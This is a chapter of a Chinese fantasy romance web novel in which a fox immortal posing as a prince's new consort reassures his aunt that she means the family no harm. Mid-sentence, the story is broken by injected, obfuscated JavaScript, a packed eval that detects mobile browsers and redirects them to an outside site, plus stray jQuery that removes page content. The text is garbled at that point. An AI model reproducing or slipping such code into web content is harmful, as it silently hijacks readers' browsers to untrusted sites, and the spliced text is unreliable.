-
已是临近年底,新年将至,洛阳城内似乎都多添了一份庆节的好气氛。
留妖瓶中的清水不再澄澈,出门后坐在马车里,霍意虽还是昏昏沉沉的,但自己也还记得捉妖的事,她靠在一边,还忍不住打着哈欠。沈寻梧倒是更清醒,眼见着霍意这般耍懒的模样心里也还笑她,“我说你啊,又想攀上我哥但却又这般偷懒耍滑,你自己矛不矛盾啊?”
她瞥眼来看,霍意还闭着眼睛靠在一边,她没有回话,沈寻梧也只是继续白了她一眼。她是真不喜欢这样故意作弄的狐媚妖精,但好似某人真的上心了。
霍意睡得正迷糊,忽然马车一停,她被惊醒了起来。
“到了?这么快?”
但应该还没到啊,马车明明还没走多久。
“怎么了?”
沈寻梧也觉得奇怪,她问了一声,身边的侍女闻声掀起了车帘也回了话,“回姑娘,前面是谢家的马车。”正好就遇见了,她听着是谢家也起了疑,而霍意抱着手也还疑惑的在瞧,她亦不知谢家是哪个。
沈家与谢家的马车就这么碰巧遇着了,这边还没说话,那边的人也已经先下了马车来。
“谢家公子谢九安见过寻梧姑娘。”马车外的声音已经传到了耳边,霍意还未见其人,仅是听其声音便可猜该是个年轻温润的公子,嗓音如玉石之声,又如流水细涓。
她之前读过一些书,书上是这样描述的,翩翩我公子,机巧忽若神,还有什么言念君子,温其如玉,在其板屋,乱我心曲。反正书上是这样写的,但她还没见着这个谢家公子的真面容。
霍意刚想探头出去看看,但她一动沈寻梧便手快地按住了她,她的意思就是不可以胡闹。待心定之后,她也再回了话,“谢家公子客气了。”“今日碰巧遇见了公子也真是缘分。”
沈寻梧回复的声音够冷,话里极尽客气之词,她还按着霍意的手,这下她倒是更清醒了些。只是她不知道这是什么情况,自己还没见着这位谢公子的面呢,但沈寻梧只是推脱了几句就吩咐了马夫和侍女赶紧走,别耽误了。
她在催促,侍女和马夫也不敢违令,跟谢家公子行礼告别后沈家马车先行一步继续又朝着书院的方向走了去。霍意虽心大,但也会察言观色,她能发觉到沈寻梧的不对劲。
马车已经走了几步,她还是想看看谢家公子的真面容,稍稍侧身,又掀起了小窗的帘子,霍意探了头出去远远一望,那谢家公子还安静的伫立在马车边,眼神还望着前方。她的狐狸眼睛也看的够清楚,默想这谢九安的面容瞧着倒是个不错的少年郎啊,应该还只是弱冠之龄,倒是与沈寻澈不同,他的面容看上去则更为成熟。
她这一瞅,那端的人也看见了她。
谢九安知道这不是沈寻梧,因为她不会这样回头来看他的。
“公子,还是先走吧,别耽误了出城的时辰。”随侍在提醒他,这天已经渐亮,他们还要赶路,还是早些走的好。
谢九安知道沈寻梧如今在曲怀序的书院听课上学,所以今早特意在这里等着她,就是想跟她说两句话,他要离开洛阳一段时日,是为着公事,只是沈寻梧刚刚那般显得冷淡的态度他也了然于心。
“刚刚回头的那位姑娘也是王府中的人吗?以前似乎没见过。”他这下想了起来,又道刚刚见着的那个女郎容颜姣好,堪称绝色,却很年轻,是个小女郎,也不是沈家夫人。
“听闻那是殿下的新王妃,近日也都在书院听学。”随侍想着再提了一句,之前城中已经有了不少的传闻,自家公子倒是一心只惦记着沈寻梧,没怎么理会这些。
“哦。”
谢九安听罢也点了点头,原来真的有位新王妃在,这不是假的。
“看来殿下也有了另娶之意,果然是时移世易啊。”他再暗自叹了口气,没想到沈寻澈如今都转了性子了,但谢家与沈家之间似乎还没有变。
“算了,走吧。”
时辰还早,还适合赶路。
-
天寒之时喝完热汤正好。
归家之时府中已经备好了晚膳,但沈寻澈却还没归,他已经派人回家传了话,今夜不回家来,晚饭也不必等他了。沈安昭自是明白他公务繁忙,也没有多说。
霍意与沈寻梧俩人回来的也正是巧,这天还没完全黑下来,沈安昭也还在等她们,用饭之时霍意倒是吃的欢,而沈寻梧却还似一副心事重重的神态。这左右两边的人都是不一样的神色,沈安昭坐在主位上,一眼也瞧清了这两边的情态,但她并未多言,食不言寝不语,这也是规矩。
用了饭后,歇灯放帘,该是歇息的时辰了。
沈安昭遣了人去唤霍意来,她还有话想说。
屋内烛火仍亮,她一直看着这棋盘,手中的棋子也是久久未落定。
过了半刻,侍女引着霍意进了屋来,她也规矩的对着沈安昭行了礼问了安,她还是很尊重长辈的。
“霍姑娘请坐。”
沈安昭抬眸又看向了她,招手示意她可直接坐下。
“这里只有你我,霍姑娘不用这么多礼。”
“好。”
“姑姑这般夜深了怎么还不休息啊?”她也问了一句,就坐在了沈安昭的对面,这棋盘上的局势她还没看清。霍意也会下棋,之前跟着师父师兄们在一起修炼的时候她对这棋艺之道也颇有研究。
“姑姑自己做局像是困住了自己,不如走这一步,该是有解局之法的。”霍意说完便上手捻起了一颗棋子,下手落定后,沈安昭也微微一笑。
“霍姑娘才学双绝,有胆有识,其实我也很欣赏霍姑娘的。”沈安昭忽而谈及于她,但霍意只是静静听着,她还不明白今夜这样的安排用意在哪里。
她下棋解了这困局,抬眼来对上了沈安昭的眼神,却觉她的眼神又似含着春风柔水,倒不像是来问责,她的紧张神色也消退了些。
“姑姑有事还是直说吧。”
她不喜绕弯子,也没有多余的心思在这里逗趣下棋,她其实是想睡了。
“好。”
沈安昭见她还是直率心里也松了口气。
“霍姑娘,你……你可否告诉我,你是真的想做这个沈王妃吗?”其实也还是这个问题,霍意一听着便觉得头疼,她挠了挠头还在想,该怎么说呢,这面对不同的人该给的说法也不同啊。
“呃,姑姑,你想听真话还是假话呢?”说完她还撑着头看着沈安昭,她也在等她的回答,但沈安昭却是被她这么一说也弄得不明不白了。
“这,我当然是想听真话的了,你跟阿巡是怎么说的便对我如何说就好了。”这个事她也询问过他,但某人有些闪避,不太肯说实话。
“哦,好吧。”
“我跟王爷说的是我其实也不喜欢他,只是想要拿回他从我手中抢走的东西,我也不是真的稀罕这个沈王妃的。”“但我也问了王爷多次他什么时候才可以将东西还给我,他却老是说还要再等等。”
“我的那个东西似乎是跟他的一件私事很相关。”
“我打着沈王妃的名义也是为了好接近他罢了。”霍意也还真是实诚,这些话术其实她都已经对沈寻澈说了很多次了,对着沈安昭她也毫不避讳。
她一通说了好些,只是沈安昭却还不知那到底是个什么东西,又是跟沈寻澈的哪件私事有关。
“原来如此。”
她也明白似的点了头,算是更清楚了些霍意来的真正意图。
“既然如此,那我是知道原委了。”
“只是,霍姑娘,我还想再问你一句,你可否对我做个保证?”
“……”
“姑姑想要我做什么?”
霍意一时可还不解,见她神态忽变,也不知又有何愁绪。
“呃,”
“霍姑娘,你可否向我做保证,无论如何,无论阿巡喜不喜欢你亦或是你喜不喜欢他,你能保证不会伤害阿巡吗?”沈安昭这话说的更重,特意加了强调,霍意听罢也心中一惊,不明白她怎么会这样想啊。
自己虽然也不是个好人,但也算是个知名的神仙,加害凡人这样的事自己也做不出来的。
“呃,姑姑是很担心王爷还是觉得我仍旧是个不知名的祸患呢?”她能明白她的故意,她想保护沈寻澈,但也在质疑自己到底是从哪里来的。
霍意明白的还睁着狐狸眼睛,她这般反问,随后又见着沈安昭这样默然的神色,这自是也验证了她刚刚的猜测。她是有些怀疑这位新王妃到底会不会是个祸害,会不会伤害沈寻澈,也包括沈家人,但这样询问也好似很没礼貌。
“我明白了。”
霍意倒不觉得这是在冒
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17268889|198110||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
犯她,凡人如此多心倒也是寻常。
“姑姑,我来王府,待在这里只是为了想要拿回我的东西,除此之外我别无他图。”
“姑姑,我可向你起誓,我若是做了伤害王爷伤害沈家之事也必遭天打雷劈,万世不入轮回。”话完她也抬手来做了手势,刚刚那般誓言她说的顺口,反正是之前已经说过无数次的,她也没怎么当真。只是凡人相信这些,见她说的这般严肃郑重,沈安昭心里的疑虑也打消了大半。
“好啦好啦,我只是担心着,你既如此说那我也就不多疑你了。”
“但我还未知你到底是从哪里来的?家中还有什么亲人没有?”沈安昭还想的远,她是觉得沈寻澈对她是有耐心一点,可能是不一样,但如今她也不能完全确定沈寻澈是不是真的喜欢她,只是这么些年了,能跟他再说这么多话的女郎家也就霍意独一个了。
那太后的养女任归荑恋慕了沈寻澈多年,至今就是到了适婚的年纪她也还没婚配,还有其他几家的女郎,沈安昭是看的清楚,也有意提起,但沈寻澈却还是不为所动,毫无婚娶之意,而霍意却不同,她是发觉到了点苗头。
“呃,这个,”
这个该怎么说呢,难道要直接说自己是神仙吗?自己的爹娘也是神仙吗?
“我原先在一高山道士那里常年修行,不理俗事,也是第一次到这洛阳城来。”
“家中父母已不在高堂,身边也无至亲兄弟姐妹了。”霍意是家中独女,也没有血缘至亲的兄弟姐妹,老狐狸就生了她一个,一个就已经很头疼了。
“姑姑,王爷从我手中抢走的那个东西对我来说很重要。”
“它是我找到我父母的唯一线索了,所以我才这般死缠着王爷不肯离去。”话到此处也有份伤感,她为了拿到这招魂符之前也得罪了不少人,实在是有些不容易。
只有靠着这个招魂符才能搜集到万千亡者魂魄,才能重新为他们塑魂,这是令他们重生的唯一生机,这是那个枫林地仙告诉她的。不过今时洛阳城中妖孽横生,诡异频多,这也是她现在留下的原因之一,她只是想知道清楚缘故罢了。
人间若是真的有事,她这个神仙也不会置之不理的。
狐狸陈述得真切,沈安昭听着是为了这个缘故心中也更是有份动容,这般看来还是沈寻澈抢夺在先,他先不占理的,是有些过分。
“霍姑娘,这是王爷欠你的。”
“你既没有了亲人,那就在王府里好好待着吧,不管你是不是未来的沈王妃,你也都是我沈家的贵客。”
“我也想王爷这般行事也是有他自己的理由的。”
“你可否先暂时原谅他?”
“若是他真的做的太过分了,我也会为你做主的。”沈安昭也还在做请求,霍意闻言迟钝,一时间话到了嘴边也不知该如何说了,事出有因,她是,他也是,这也怪不到谁的头上来。
作为神仙修行,或许这就是自己要经历的一道劫难。
只是那恶狼显得蛮横无理,却没想到沈安昭这般温和客气,她讲理得很,霍意却也失了再进一步的狠心。
“好。”
“我听姑姑的。”霍意也还是让了步,反正现在唤醒招魂符的办法她也还没有找到,就先让给这个凡人,那长衍也不会将全部的敌意都放在自己身上了。
现在他的注意力都转到了那些妖孽上,她也能暂时轻松一二,最重要的是留在这里也能躲避其他妖魔的追捕……霍意转了脑子先想了想,这其中的利弊对自己来说损失也不大啊。
画阴屠狐在江湖扬了名,这也会惹得其他眼红的有觊觎之心的且又胆大的妖物敢来挑衅,这劫却千万避不开。
“多谢霍姑娘体恤。”
沈安昭这是彻底的松了口气,将事情都说开来,免得制造误会,也免得搅得这王府整日里都没个清净。
“霍姑娘可是貌美心善,世间如此绝色可是不多见啊。”她再转了话,又多夸了她两句,霍意也喜欢听漂亮话,连连笑着,就像那明艳盛开的红山茶,可是一个明珠仙色。
“姑姑谬赞了。”
霍意也还哄着她笑,见着沈安昭,她喊着一声姑姑也倍感亲切,这是重拾得了长辈关爱,她也甚是感念。
夜间雪夜,红山茶还开着,花香四溢,真真也是张扬明艳,甚是突出。